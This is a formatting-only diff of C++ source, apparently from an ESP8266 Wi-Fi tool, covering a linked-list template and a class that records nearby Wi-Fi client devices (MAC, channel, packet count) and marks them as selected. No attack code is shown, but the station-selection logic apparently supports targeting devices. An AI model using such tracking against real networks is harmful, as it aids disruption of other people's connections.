listEnd = nodeB;
|
|
||||||
|
|
||||||
// a -> h -> c -> ... -> g -> b -> i
|
|
||||||
if(nodeG != nodeB) // when more than 1 nodes between b and h exist
|
|
||||||
nodeG->next = nodeB;
|
|
||||||
}
|
}
|
||||||
}
|
|
||||||
|
listSize++;
|
||||||
}
|
}
|
||||||
|
|
||||||
template<typename T>
|
template<typename T>
|
||||||
void SimpleList<T>::sort(std::function<bool(T &a, T &b)> cmp) {
|
void SimpleList<T>::replace(int index, T obj) {
|
||||||
// selection sort
|
if ((index >= 0) && (index < listSize)) {
|
||||||
|
getNode(index)->data = obj;
|
||||||
int indexH; // index of node i
|
|
||||||
int indexMin; // index of next minimum node
|
|
||||||
Node<T>* nodeMin; // next minimum node
|
|
||||||
Node<T>* nodeH; // helper node at index j
|
|
||||||
|
|
||||||
for(int i=0; i<listSize-1; i++){
|
|
||||||
nodeMin = getNode(i);
|
|
||||||
indexH = i;
|
|
||||||
indexMin = i;
|
|
||||||
for(int j=i+1; j<listSize; j++){
|
|
||||||
nodeH = getNode(j);
|
|
||||||
if(cmp(nodeMin->data, nodeH->data)){
|
|
||||||
nodeMin = nodeH;
|
|
||||||
indexMin = j;
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
swap(indexH, indexMin);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
#endif
|
template<typename T>
|
||||||
|
void SimpleList<T>::remove(int index) {
|
||||||
|
if ((index < 0) || (index >= listSize)) return;
|
||||||
|
|
||||||
|
Node<T>* nodePrev = getNode(index - 1);
|
||||||
|
Node<T>* nodeToDelete = getNode(index);
|
||||||
|
|
||||||
|
if (index == 0) {
|
||||||
|
listBegin = nodeToDelete->next;
|
||||||
|
} else {
|
||||||
|
nodePrev->next = nodeToDelete->next;
|
||||||
|
|
||||||
|
if (!nodePrev->next) listEnd = nodePrev;
|
||||||
|
}
|
||||||
|
|
||||||
|
delete nodeToDelete;
|
||||||
|
|
||||||
|
isCached = false;
|
||||||
|
|
||||||
|
listSize--;
|
||||||
|
}
|
||||||
|
|
||||||
|
template<typename T>
|
||||||
|
T SimpleList<T>::get(int index) {
|
||||||
|
Node<T>* hNode = getNode(index);
|
||||||
|
return hNode ? hNode->data : T();
|
||||||
|
}
|
||||||
|
|
||||||
|
template<typename T>
|
||||||
|
int SimpleList<T>::search(std::function<bool(T& a)>cmp) {
|
||||||
|
int i = 0;
|
||||||
|
|
||||||
|
Node<T>* hNode = getNode(i);
|
||||||
|
bool found = cmp(hNode->data);
|
||||||
|
|
||||||
|
while (!found && i < listSize) {
|
||||||
|
i++;
|
||||||
|
hNode = getNode(i);
|
||||||
|
found = cmp(hNode->data);
|
||||||
|
}
|
||||||
|
|
||||||
|
return found ? i : -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
template<typename T>
|
||||||
|
int SimpleList<T>::searchNext(std::function<bool(T& a)>cmp) {
|
||||||
|
int i = lastIndexGot;
|
||||||
|
|
||||||
|
Node<T>* hNode = lastNodeGot;
|
||||||
|
bool found = cmp(hNode->data);
|
||||||
|
|
||||||
|
while (!found && i < listSize) {
|
||||||
|
i++;
|
||||||
|
hNode = getNode(i);
|
||||||
|
found = cmp(hNode->data);
|
||||||
|
}
|
||||||
|
|
||||||
|
return found ? i : -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
template<typename T>
|
||||||
|
int SimpleList<T>::binSearch(std::function<int(T& a)>cmp, int lowerEnd, int upperEnd) {
|
||||||
|
int res;
|
||||||
|
int mid = (lowerEnd + upperEnd) / 2;
|
||||||
|
|
||||||
|
Node<T>* hNode = listBegin;
|
||||||
|
int hIndex = 0;
|
||||||
|
|
||||||
|
while (lowerEnd <= upperEnd) {
|
||||||
|
hNode = lastNodeGot;
|
||||||
|
hIndex = lastIndexGot;
|
||||||
|
res = cmp(getNode(mid)->data);
|
||||||
|
|
||||||
|
if (res == 0) {
|
||||||
|
return mid;
|
||||||
|
} else if (res < 0) {
|
||||||
|
// when going left, set cached node back to previous cached node
|
||||||
|
lastNodeGot = hNode;
|
||||||
|
lastIndexGot = hIndex;
|
||||||
|
isCached = true;
|
||||||
|
|
||||||
|
upperEnd = mid - 1;
|
||||||
|
mid = (lowerEnd + upperEnd) / 2;
|
||||||
|
} else if (res > 0) {
|
||||||
|
lowerEnd = mid + 1;
|
||||||
|
mid = (lowerEnd + upperEnd) / 2;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
template<typename T>
|
||||||
|
int SimpleList<T>::binSearch(std::function<int(T& a)>cmp) {
|
||||||
|
return binSearch(cmp, 0, listSize - 1);
|
||||||
|
}
|
||||||
|
|
||||||
|
template<typename T>
|
||||||
|
int SimpleList<T>::count(std::function<bool(T& a)>cmp) {
|
||||||
|
int c = 0;
|
||||||
|
|
||||||
|
for (int i = 0; i < listSize; i++) {
|
||||||
|
c += cmp(getNode(i)->data);
|
||||||
|
}
|
||||||
|
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
|
||||||
|
template<typename T>
|
||||||
|
T SimpleList<T>::pop() {
|
||||||
|
if (listSize <= 0) return T();
|
||||||
|
|
||||||
|
T data = listEnd->data;
|
||||||
|
remove(listSize - 1);
|
||||||
|
return data;
|
||||||
|
}
|
||||||
|
|
||||||
|
template<typename T>
|
||||||
|
T SimpleList<T>::shift() {
|
||||||
|
if (listSize <= 0) return T();
|
||||||
|
|
||||||
|
T data = listBegin->data;
|
||||||
|
remove(0);
|
||||||
|
return data;
|
||||||
|
}
|
||||||
|
|
||||||
|
template<typename T>
|
||||||
|
void SimpleList<T>::clear() {
|
||||||
|
while (listSize > 0) remove(0);
|
||||||
|
}
|
||||||
|
|
||||||
|
template<typename T>
|
||||||
|
void SimpleList<T>::swap(int x, int y) {
|
||||||
|
// only continue when the index numbers are unequal and at least 0
|
||||||
|
if ((x != y) && (x >= 0) && (y >= 0)) {
|
||||||
|
if (x > y) { // the first index should be smaller than the second. If not, swap them!
|
||||||
|
int h = x;
|
||||||
|
x = y;
|
||||||
|
y = h;
|
||||||
|
}
|
||||||
|
|
||||||
|
// When data is small, copy it
|
||||||
|
if (sizeof(T) < 24) {
|
||||||
|
Node<T>* nodeA = getNode(x);
|
||||||
|
Node<T>* nodeB = getNode(y);
|
||||||
|
T h = nodeA->data;
|
||||||
|
nodeA->data = nodeB->data;
|
||||||
|
nodeB->data = h;
|
||||||
|
}
|
||||||
|
|
||||||
|
// otherwise change the pointers
|
||||||
|
else {
|
||||||
|
// Example: a -> b -> c -> ... -> g -> h -> i
|
||||||
|
// we want to swap b with h
|
||||||
|
Node<T>* nodeA = getNode(x - 1); // x.prev
|
||||||
|
Node<T>* nodeB = getNode(x); // x
|
||||||
|
Node<T>* nodeC = getNode(x + 1); // x.next
|
||||||
|
Node<T>* nodeG = y - 1 == x ? nodeB : getNode(y - 1); // y.prev
|
||||||
|
Node<T>* nodeH = getNode(y); // y
|
||||||
|
Node<T>* nodeI = getNode(y + 1); // y.next
|
||||||
|
|
||||||
|
// a -> h -> i b -> c -> ... -> g -> h -> i
|
||||||
|
if (nodeA) nodeA->next = nodeH;
|
||||||
|
else listBegin = nodeH;
|
||||||
|
|
||||||
|
// a -> h -> c -> ... -> g -> h -> i b -> i
|
||||||
|
if (nodeH != nodeC) // when nodes between b and h exist
|
||||||
|
nodeH->next = nodeC;
|
||||||
|
else nodeH->next = nodeB;
|
||||||
|
|
||||||
|
// a -> h -> i b -> i
|
||||||
|
nodeB->next = nodeI;
|
||||||
|
|
||||||
|
if (!nodeI) listEnd = nodeB;
|
||||||
|
|
||||||
|
// a -> h -> c -> ... -> g -> b -> i
|
||||||
|
if (nodeG != nodeB) // when more than 1 nodes between b and h exist
|
||||||
|
nodeG->next = nodeB;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
template<typename T>
|
||||||
|
void SimpleList<T>::sort(std::function<bool(T& a, T& b)>cmp) {
|
||||||
|
// selection sort
|
||||||
|
|
||||||
|
int indexH; // index of node i
|
||||||
|
int indexMin; // index of next minimum node
|
||||||
|
|
||||||
|
Node<T>* nodeMin; // next minimum node
|
||||||
|
Node<T>* nodeH; // helper node at index j
|
||||||
|
|
||||||
|
for (int i = 0; i < listSize - 1; i++) {
|
||||||
|
nodeMin = getNode(i);
|
||||||
|
indexH = i;
|
||||||
|
indexMin = i;
|
||||||
|
|
||||||
|
for (int j = i + 1; j < listSize; j++) {
|
||||||
|
nodeH = getNode(j);
|
||||||
|
|
||||||
|
if (cmp(nodeMin->data, nodeH->data)) {
|
||||||
|
nodeMin = nodeH;
|
||||||
|
indexMin = j;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
swap(indexH, indexMin);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif // ifndef SimpleList_h
|
||||||
@@ -1,326 +1,339 @@
|
|||||||
#include "Stations.h"
|
#include "Stations.h"
|
||||||
|
|
||||||
Stations::Stations() {
|
Stations::Stations() {
|
||||||
list = new SimpleList<Station>;
|
list = new SimpleList<Station>;
|
||||||
}
|
}
|
||||||
|
|
||||||
void Stations::add(uint8_t* mac, int accesspointNum) {
|
void Stations::add(uint8_t* mac, int accesspointNum) {
|
||||||
int stationNum = findStation(mac);
|
int stationNum = findStation(mac);
|
||||||
|
|
||||||
if (stationNum < 0) {
|
if (stationNum < 0) {
|
||||||
internal_add(mac, accesspointNum);
|
internal_add(mac, accesspointNum);
|
||||||
//print(list->size() - 1, list->size() == 1, false);
|
// print(list->size() - 1, list->size() == 1, false);
|
||||||
} else {
|
} else {
|
||||||
*getPkts(stationNum) += 1;
|
*getPkts(stationNum) += 1;
|
||||||
*getTime(stationNum) = currentTime;
|
*getTime(stationNum) = currentTime;
|
||||||
}
|
}
|
||||||
changed = true;
|
changed = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
int Stations::findStation(uint8_t* mac) {
|
int Stations::findStation(uint8_t* mac) {
|
||||||
int c = count();
|
int c = count();
|
||||||
for (int i = 0; i < c; i++) {
|
|
||||||
if (memcmp(getMac(i), mac, 6) == 0)
|
for (int i = 0; i < c; i++) {
|
||||||
return i;
|
if (memcmp(getMac(i), mac, 6) == 0) return i;
|
||||||
}
|
}
|
||||||
return -1;
|
return -1;
|
||||||
}
|
}
|
||||||
|
|
||||||
void Stations::sort() {
|
void Stations::sort() {
|
||||||
list->sort([](Station &a, Station &b) -> bool{
|
list->sort([](Station& a, Station& b) -> bool {
|
||||||
return (*a.pkts < *b.pkts);
|
return *a.pkts < *b.pkts;
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
void Stations::sortAfterChannel() {
|
void Stations::sortAfterChannel() {
|
||||||
list->sort([](Station &a, Station &b) -> bool{
|
list->sort([](Station& a, Station& b) -> bool {
|
||||||
return (a.ch > b.ch);
|
return a.ch > b.ch;
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
void Stations::removeAll() {
|
void Stations::removeAll() {
|
||||||
internal_removeAll();
|
internal_removeAll();
|
||||||
prntln(ST_CLEARED_LIST);
|
prntln(ST_CLEARED_LIST);
|
||||||
changed = true;
|
changed = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
void Stations::remove(int num) {
|
void Stations::remove(int num) {
|
||||||
if (!check(num)) return;
|
if (!check(num)) return;
|
||||||
internal_remove(num);
|
|
||||||
prnt(ST_REMOVED_STATION);
|
internal_remove(num);
|
||||||
prntln(num);
|
prnt(ST_REMOVED_STATION);
|
||||||
changed = true;
|
prntln(num);
|
||||||
|
changed = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
void Stations::removeOldest() {
|
void Stations::removeOldest() {
|
||||||
int oldest = 0;
|
int oldest = 0;
|
||||||
int c = count();
|
int c = count();
|
||||||
for (int i = 1; i < c; i++) {
|
|
||||||
if (*getTime(i) > *getTime(oldest))
|
for (int i = 1; i < c; i++) {
|
||||||
oldest = i;
|
if (*getTime(i) > *getTime(oldest)) oldest = i;
|
||||||
}
|
}
|
||||||
internal_remove(oldest);
|
internal_remove(oldest);
|
||||||
changed = true;
|
changed = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
void Stations::printAll() {
|
void Stations::printAll() {
|
||||||
prntln(ST_HEADER);
|
prntln(ST_HEADER);
|
||||||
int c = count();
|
int c = count();
|
||||||
if (c == 0)
|
|
||||||
prntln(ST_LIST_EMPTY);
|
if (c == 0) prntln(ST_LIST_EMPTY);
|
||||||
else
|
else
|
||||||
for (int i = 0; i < c; i++)
|
for (int i = 0; i < c; i++) print(i, i == 0, i == c - 1);
|
||||||
print(i, i == 0, i == c - 1);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
void Stations::printSelected() {
|
void Stations::printSelected() {
|
||||||
prntln(ST_HEADER);
|
prntln(ST_HEADER);
|
||||||
int max = selected();
|
int max = selected();
|
||||||
int c = count();
|
int c = count();
|
||||||
|
|
||||||
if (max == 0) {
|
if (max == 0) {
|
||||||
prntln(ST_NO_DEVICES_SELECTED);
|
prntln(ST_NO_DEVICES_SELECTED);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
for (int i = 0, j = 0; i < c && j < max; i++) {
|
for (int i = 0, j = 0; i < c && j < max; i++) {
|
||||||
if (getSelected(i)) {
|
if (getSelected(i)) {
|
||||||
print(i, j == 0, j == max - 1);
|
print(i, j == 0, j == max - 1);
|
||||||
j++;
|
j++;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
void Stations::print(int num) {
|
void Stations::print(int num) {
|
||||||
print(num, true, true);
|
print(num, true, true);
|
||||||
}
|
}
|
||||||
|
|
||||||
void Stations::print(int num, bool header, bool footer) {
|
void Stations::print(int num, bool header, bool footer) {
|
||||||
if (!check(num)) return;
|
if (!check(num)) return;
|
||||||
if (header) {
|
|
||||||
prntln(ST_TABLE_HEADER);
|
|
||||||
prntln(ST_TABLE_DIVIDER);
|
|
||||||
}
|
|
||||||
|
|
||||||
prnt(buildString(String(),(String)num, 2));
|
if (header) {
|
||||||
prnt(buildString(String(SPACE) + getMacStr(num), String(), 18));
|
prntln(ST_TABLE_HEADER);
|
||||||
prnt(buildString(String(SPACE), (String)getCh(num), 3));
|
prntln(ST_TABLE_DIVIDER);
|
||||||
prnt(buildString(String(SPACE) + getNameStr(num), String(), 17));
|
}
|
||||||
prnt(buildString(String(SPACE) + getVendorStr(num), String(), 9));
|
|
||||||
prnt(buildString(String(SPACE), (String)*getPkts(num), 9));
|
prnt(buildString(String(), (String)num, 2));
|
||||||
prnt(buildString(String(SPACE) + getAPStr(num), String(), 33));
|
prnt(buildString(String(SPACE) + getMacStr(num), String(), 18));
|
||||||
prnt(buildString(String(SPACE) + getTimeStr(num), String(), 10));
|
prnt(buildString(String(SPACE), (String)getCh(num), 3));
|
||||||
prntln(buildString(String(SPACE) + getSelectedStr(num), String(), 9));
|
prnt(buildString(String(SPACE) + getNameStr(num), String(), 17));
|
||||||
|
prnt(buildString(String(SPACE) + getVendorStr(num), String(), 9));
|
||||||
if (footer)
|
prnt(buildString(String(SPACE), (String) * getPkts(num), 9));
|
||||||
prntln(ST_TABLE_DIVIDER);
|
prnt(buildString(String(SPACE) + getAPStr(num), String(), 33));
|
||||||
|
prnt(buildString(String(SPACE) + getTimeStr(num), String(), 10));
|
||||||
|
prntln(buildString(String(SPACE) + getSelectedStr(num), String(), 9));
|
||||||
|
|
||||||
|
if (footer) prntln(ST_TABLE_DIVIDER);
|
||||||
}
|
}
|
||||||
|
|
||||||
String Stations::getAPStr(int num) {
|
String Stations::getAPStr(int num) {
|
||||||
if (getAP(num) < 0) return String();
|
if (getAP(num) < 0) return String();
|
||||||
return accesspoints.getSSID(getAP(num));
|
|
||||||
|
return accesspoints.getSSID(getAP(num));
|
||||||
}
|
}
|
||||||
|
|
||||||
uint8_t* Stations::getAPMac(int num){
|
uint8_t* Stations::getAPMac(int num) {
|
||||||
if (!check(num)) return 0;
|
if (!check(num)) return 0;
|
||||||
return WiFi.BSSID(list->get(num).ap);
|
|
||||||
|
return WiFi.BSSID(list->get(num).ap);
|
||||||
}
|
}
|
||||||
|
|
||||||
String Stations::getAPMacStr(int num){
|
String Stations::getAPMacStr(int num) {
|
||||||
if (!check(num)) return String();
|
if (!check(num)) return String();
|
||||||
uint8_t* mac = getAPMac(num);
|
|
||||||
return bytesToStr(mac, 6);
|
uint8_t* mac = getAPMac(num);
|
||||||
|
return bytesToStr(mac, 6);
|
||||||
}
|
}
|
||||||
|
|
||||||
int Stations::getAP(int num) {
|
int Stations::getAP(int num) {
|
||||||
if (!check(num)) return -1;
|
if (!check(num)) return -1;
|
||||||
return accesspoints.find(list->get(num).ap);
|
|
||||||
|
return accesspoints.find(list->get(num).ap);
|
||||||
}
|
}
|
||||||
|
|
||||||
String Stations::getNameStr(int num) {
|
String Stations::getNameStr(int num) {
|
||||||
if (!check(num)) return String();
|
if (!check(num)) return String();
|
||||||
return names.find(getMac(num));
|
|
||||||
|
return names.find(getMac(num));
|
||||||
}
|
}
|
||||||
|
|
||||||
bool Stations::hasName(int num) {
|
bool Stations::hasName(int num) {
|
||||||
if (!check(num)) return false;
|
if (!check(num)) return false;
|
||||||
return names.findID(getMac(num)) >= 0;
|
|
||||||
|
return names.findID(getMac(num)) >= 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
uint8_t* Stations::getMac(int num) {
|
uint8_t* Stations::getMac(int num) {
|
||||||
if (!check(num)) return 0;
|
if (!check(num)) return 0;
|
||||||
return list->get(num).mac;
|
|
||||||
|
return list->get(num).mac;
|
||||||
}
|
}
|
||||||
|
|
||||||
String Stations::getMacStr(int num) {
|
String Stations::getMacStr(int num) {
|
||||||
if (!check(num)) return String();
|
if (!check(num)) return String();
|
||||||
uint8_t* mac = getMac(num);
|
|
||||||
return bytesToStr(mac, 6);
|
uint8_t* mac = getMac(num);
|
||||||
|
return bytesToStr(mac, 6);
|
||||||
}
|
}
|
||||||
|
|
||||||
String Stations::getMacVendorStr(int num) {
|
String Stations::getMacVendorStr(int num) {
|
||||||
String value;
|
String value;
|
||||||
if (check(num)){
|
|
||||||
value = getVendorStr(num) + ":";
|
if (check(num)) {
|
||||||
uint8_t* mac = getMac(num);
|
value = getVendorStr(num) + ":";
|
||||||
for (int i = 3; i < 6; i++) {
|
uint8_t* mac = getMac(num);
|
||||||
if (mac[i] < 0x10) value += "0";
|
|
||||||
value += String(mac[i], HEX);
|
for (int i = 3; i < 6; i++) {
|
||||||
if (i < 5) value += ":";
|
if (mac[i] < 0x10) value += "0";
|
||||||
|
value += String(mac[i], HEX);
|
||||||
|
|
||||||
|
if (i < 5) value += ":";
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
return value;
|
||||||
return value;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
String Stations::getVendorStr(int num) {
|
String Stations::getVendorStr(int num) {
|
||||||
if (!check(num)) return String();
|
if (!check(num)) return String();
|
||||||
return searchVendor(list->get(num).mac);
|
|
||||||
|
return searchVendor(list->get(num).mac);
|
||||||
}
|
}
|
||||||
|
|
||||||
String Stations::getSelectedStr(int num) {
|
String Stations::getSelectedStr(int num) {
|
||||||
return b2a(getSelected(num));
|
return b2a(getSelected(num));
|
||||||
}
|
}
|
||||||
|
|
||||||
uint32_t* Stations::getPkts(int num) {
|
uint32_t* Stations::getPkts(int num) {
|
||||||
if (!check(num)) return NULL;
|
if (!check(num)) return NULL;
|
||||||
return list->get(num).pkts;
|
|
||||||
|
return list->get(num).pkts;
|
||||||
}
|
}
|
||||||
|
|
||||||
uint32_t* Stations::getTime(int num) {
|
uint32_t* Stations::getTime(int num) {
|
||||||
if (!check(num)) return NULL;
|
if (!check(num)) return NULL;
|
||||||
return list->get(num).time;
|
|
||||||
|
return list->get(num).time;
|
||||||
}
|
}
|
||||||
|
|
||||||
String Stations::getTimeStr(int num) {
|
String Stations::getTimeStr(int num) {
|
||||||
if (!check(num)) return String();
|
if (!check(num)) return String();
|
||||||
uint32_t difference = currentTime - *getTime(num);
|
|
||||||
|
|
||||||
if (difference < 1000)
|
uint32_t difference = currentTime - *getTime(num);
|
||||||
return str(ST_SMALLER_ONESEC);
|
|
||||||
else if (difference < 60000)
|
|
||||||
return str(ST_SMALLER_ONEMIN);
|
|
||||||
else {
|
|
||||||
uint32_t minutes = difference / 60000;
|
|
||||||
if (minutes > 60)
|
|
||||||
return str(ST_BIGER_ONEHOUR);
|
|
||||||
else
|
|
||||||
return (String)minutes + str(STR_MIN);
|
|
||||||
}
|
|
||||||
|
|
||||||
|
if (difference < 1000) return str(ST_SMALLER_ONESEC);
|
||||||
|
else if (difference < 60000) return str(ST_SMALLER_ONEMIN);
|
||||||
|
else {
|
||||||
|
uint32_t minutes = difference / 60000;
|
||||||
|
|
||||||
|
if (minutes > 60) return str(ST_BIGER_ONEHOUR);
|
||||||
|
else return (String)minutes + str(STR_MIN);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
bool Stations::getSelected(int num) {
|
bool Stations::getSelected(int num) {
|
||||||
if (!check(num)) return false;
|
if (!check(num)) return false;
|
||||||
return list->get(num).selected;
|
|
||||||
|
return list->get(num).selected;
|
||||||
}
|
}
|
||||||
|
|
||||||
uint8_t Stations::getCh(int num) {
|
uint8_t Stations::getCh(int num) {
|
||||||
if (!check(num)) return 0;
|
if (!check(num)) return 0;
|
||||||
return list->get(num).ch;
|
|
||||||
|
return list->get(num).ch;
|
||||||
}
|
}
|
||||||
|
|
||||||
void Stations::select(int num) {
|
void Stations::select(int num) {
|
||||||
if (!check(num)) return;
|
if (!check(num)) return;
|
||||||
internal_select(num);
|
|
||||||
prnt(ST_SELECTED_STATION);
|
internal_select(num);
|
||||||
prntln(num);
|
prnt(ST_SELECTED_STATION);
|
||||||
changed = true;
|
prntln(num);
|
||||||
|
changed = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
void Stations::deselect(int num) {
|
void Stations::deselect(int num) {
|
||||||
if (!check(num)) return;
|
if (!check(num)) return;
|
||||||
internal_deselect(num);
|
|
||||||
prnt(ST_DESELECTED_STATION);
|
internal_deselect(num);
|
||||||
prntln(num);
|
prnt(ST_DESELECTED_STATION);
|
||||||
changed = true;
|
prntln(num);
|
||||||
|
changed = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
void Stations::selectAll() {
|
void Stations::selectAll() {
|
||||||
for (int i = 0; i < count(); i++)
|
for (int i = 0; i < count(); i++) internal_select(i);
|
||||||
internal_select(i);
|
prntln(ST_SELECTED_ALL);
|
||||||
prntln(ST_SELECTED_ALL);
|
changed = true;
|
||||||
changed = true;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
void Stations::deselectAll() {
|
void Stations::deselectAll() {
|
||||||
for (int i = 0; i < count(); i++)
|
for (int i = 0; i < count(); i++) internal_deselect(i);
|
||||||
internal_deselect(i);
|
prntln(ST_DESELECTED_ALL);
|
||||||
prntln(ST_DESELECTED_ALL);
|
changed = true;
|
||||||
changed = true;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
int Stations::count() {
|
int Stations::count() {
|
||||||
return list->size();
|
return list->size();
|
||||||
}
|
}
|
||||||
|
|
||||||
int Stations::selected() {
|
int Stations::selected() {
|
||||||
int num = 0;
|
int num = 0;
|
||||||
for (int i = 0; i < count(); i++)
|
|
||||||
if (getSelected(i)) num++;
|
for (int i = 0; i < count(); i++)
|
||||||
return num;
|
if (getSelected(i)) num++;
|
||||||
|
return num;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool Stations::check(int num) {
|
bool Stations::check(int num) {
|
||||||
if (internal_check(num)){
|
if (internal_check(num)) {
|
||||||
return true;
|
return true;
|
||||||
} else{
|
} else {
|
||||||
prnt(ST_ERROR_ID);
|
prnt(ST_ERROR_ID);
|
||||||
prntln(num);
|
prntln(num);
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
bool Stations::internal_check(int num) {
|
bool Stations::internal_check(int num) {
|
||||||
return num >= 0 && num < count();
|
return num >= 0 && num < count();
|
||||||
}
|
}
|
||||||
|
|
||||||
void Stations::internal_select(int num) {
|
void Stations::internal_select(int num) {
|
||||||
Station changedStation = list->get(num);
|
Station changedStation = list->get(num);
|
||||||
changedStation.selected = true;
|
|
||||||
list->replace(num, changedStation);
|
changedStation.selected = true;
|
||||||
|
list->replace(num, changedStation);
|
||||||
}
|
}
|
||||||
|
|
||||||
void Stations::internal_deselect(int num) {
|
void Stations::internal_deselect(int num) {
|
||||||
Station changedStation = list->get(num);
|
Station changedStation = list->get(num);
|
||||||
changedStation.selected = false;
|
|
||||||
list->replace(num, changedStation);
|
changedStation.selected = false;
|
||||||
|
list->replace(num, changedStation);
|
||||||
}
|
}
|
||||||
|
|
||||||
void Stations::internal_remove(int num) {
|
void Stations::internal_remove(int num) {
|
||||||
free(getMac(num));
|
free(getMac(num));
|
||||||
free(getPkts(num));
|
free(getPkts(num));
|
||||||
free(getTime(num));
|
free(getTime(num));
|
||||||
list->remove(num);
|
list->remove(num);
|
||||||
}
|
}
|
||||||
|
|
||||||
void Stations::internal_add(uint8_t* mac, int accesspointNum) {
|
void Stations::internal_add(uint8_t* mac, int accesspointNum) {
|
||||||
if (count() >= STATION_LIST_SIZE)
|
if (count() >= STATION_LIST_SIZE) removeOldest();
|
||||||
removeOldest();
|
|
||||||
|
|
||||||
Station newStation;
|
Station newStation;
|
||||||
newStation.ap = accesspointNum;
|
newStation.ap = accesspointNum;
|
||||||
newStation.ch = wifi_channel;
|
newStation.ch = wifi_channel;
|
||||||
newStation.mac = (uint8_t*)malloc(6);
|
newStation.mac = (uint8_t*)malloc(6);
|
||||||
newStation.pkts = (uint32_t*)malloc(sizeof(uint32_t));
|
newStation.pkts = (uint32_t*)malloc(sizeof(uint32_t));
|
||||||
newStation.time = (uint32_t*)malloc(sizeof(uint32_t));
|
newStation.time = (uint32_t*)malloc(sizeof(uint32_t));
|
||||||
newStation.selected = false;
|
newStation.selected = false;
|
||||||
|
|
||||||
memcpy(newStation.mac, mac, 6);
|
memcpy(newStation.mac, mac, 6);
|
||||||
*newStation.pkts = 1;
|
*newStation.pkts = 1;
|
||||||
*newStation.time = currentTime;
|
*newStation.time = currentTime;
|
||||||
|
|
||||||
list->add(newStation);
|
list->add(newStation);
|
||||||
}
|
}
|
||||||
|
|
||||||
void Stations::internal_removeAll() {
|
void Stations::internal_removeAll() {
|
||||||
int c = count();
|
int c = count();
|
||||||
for (int i = 0; i < c; i++) {
|
|
||||||
free(getMac(i));
|
|
||||||
free(getPkts(i));
|
|
||||||
free(getTime(i));
|
|
||||||
}
|
|
||||||
list->clear();
|
|
||||||
}
|
|
||||||
|
|
||||||
|
for (int i = 0; i < c; i++) {
|
||||||
|
free(getMac(i));
|
||||||
|
free(getPkts(i));
|
||||||
|
free(getTime(i));
|
||||||
|
}
|
||||||
|
list->clear();
|
||||||
|
}
|
||||||
@@ -12,8 +12,8 @@ extern "C" {
|
|||||||
|
|
||||||
#define STATION_LIST_SIZE 60
|
#define STATION_LIST_SIZE 60
|
||||||
extern Accesspoints accesspoints;
|
extern Accesspoints accesspoints;
|
||||||
extern Names names;
|
extern Names names;
|
||||||
extern uint8_t wifi_channel;
|
extern uint8_t wifi_channel;
|
||||||
extern uint32_t currentTime;
|
extern uint32_t currentTime;
|
||||||
|
|
||||||
extern String searchVendor(uint8_t* mac);
|
extern String searchVendor(uint8_t* mac);
|
||||||
@@ -23,73 +23,71 @@ extern bool macBroadcast(uint8_t* mac);
|
|||||||
extern String bytesToStr(uint8_t* b, uint32_t size);
|
extern String bytesToStr(uint8_t* b, uint32_t size);
|
||||||
|
|
||||||
class Stations {
|
class Stations {
|
||||||
public:
|
public:
|
||||||
Stations();
|
Stations();
|
||||||
|
|
||||||
void sort();
|
|
||||||
void sortAfterChannel();
|
|
||||||
|
|
||||||
void select(int num);
|
|
||||||
void deselect(int num);
|
|
||||||
void add(uint8_t* mac,int accesspointNum);
|
|
||||||
|
|
||||||
void selectAll();
|
|
||||||
void deselectAll();
|
|
||||||
void removeAll();
|
|
||||||
void remove(int num);
|
|
||||||
void removeOldest();
|
|
||||||
|
|
||||||
String getNameStr(int num);
|
|
||||||
String getAPStr(int num);
|
|
||||||
String getMacStr(int num);
|
|
||||||
String getMacVendorStr(int num);
|
|
||||||
String getVendorStr(int num);
|
|
||||||
String getTimeStr(int num);
|
|
||||||
String getSelectedStr(int num);
|
|
||||||
uint8_t* getAPMac(int num);
|
|
||||||
String getAPMacStr(int num);
|
|
||||||
uint8_t* getMac(int num);
|
|
||||||
uint32_t* getPkts(int num);
|
|
||||||
uint32_t* getTime(int num);
|
|
||||||
uint8_t getCh(int num);
|
|
||||||
int getAP(int num);
|
|
||||||
bool getSelected(int num);
|
|
||||||
bool hasName(int num);
|
|
||||||
|
|
||||||
void print(int num);
|
void sort();
|
||||||
void print(int num, bool header, bool footer);
|
void sortAfterChannel();
|
||||||
void printAll();
|
|
||||||
void printSelected();
|
|
||||||
|
|
||||||
int count();
|
void select(int num);
|
||||||
int selected();
|
void deselect(int num);
|
||||||
|
void add(uint8_t* mac, int accesspointNum);
|
||||||
|
|
||||||
bool check(int num);
|
void selectAll();
|
||||||
bool changed = false;
|
void deselectAll();
|
||||||
private:
|
void removeAll();
|
||||||
struct Station{
|
void remove(int num);
|
||||||
uint8_t ap;
|
void removeOldest();
|
||||||
uint8_t ch;
|
|
||||||
uint8_t* mac;
|
|
||||||
uint32_t* pkts;
|
|
||||||
uint32_t* time;
|
|
||||||
bool selected;
|
|
||||||
};
|
|
||||||
|
|
